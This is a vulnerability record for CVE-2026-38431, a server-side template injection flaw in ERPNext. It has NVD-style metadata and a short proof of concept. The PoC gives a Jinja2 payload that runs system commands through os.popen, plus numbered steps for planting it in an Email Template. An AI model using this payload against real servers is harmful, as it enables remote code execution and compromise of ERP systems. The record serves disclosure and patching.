CVE-2026-38431

# PoC for ERPNext SSTI (CVE-2026-38431) # The attacker injects a malicious payload into the Email Template body field. # Standard Jinja2 SSTI payload to execute system commands payload = "{{ ''.__class__.__mro__[1].__subclasses__()[104].__init__.__globals__['sys'].modules['os'].popen('id').read() }}" # Steps to reproduce: # 1. Login to ERPNext. # 2. Navigate to "Email Template" list. # 3. Create a new template or edit an existing one. # 4. Paste the payload into the HTML/Text content. # 5. Save the template. # 6. Trigger a notification or preview that renders this template. # 7. The server will execute 'id' and return the output in the rendered content.

{"cve": {"id": "CVE-2026-38431", "sourceIdentifier": "[email protected]", "published": "2026-05-05T17:17:04.670", "lastModified": "2026-05-08T17:06:43.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ERPNext v15.103.1 and before is vulnerable to Server-Side Template Injection (SSTI). An attacker with permission to create or edit email templates can inject template expressions that are executed on the server when the template is rendered."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:*", "versionEndIncluding": "15.103.1", "matchCriteriaId": "1300B107-AF39-4DBD-86BA-406B38A0FB1C"}]}]}], "references": [{"url": "https://c0wking.hashnode.dev/ssti-in-erpnext-frappe-email-template-engine", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://c0wking.hashnode.dev/ssti-in-erpnext-frappe-email-template-engine", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}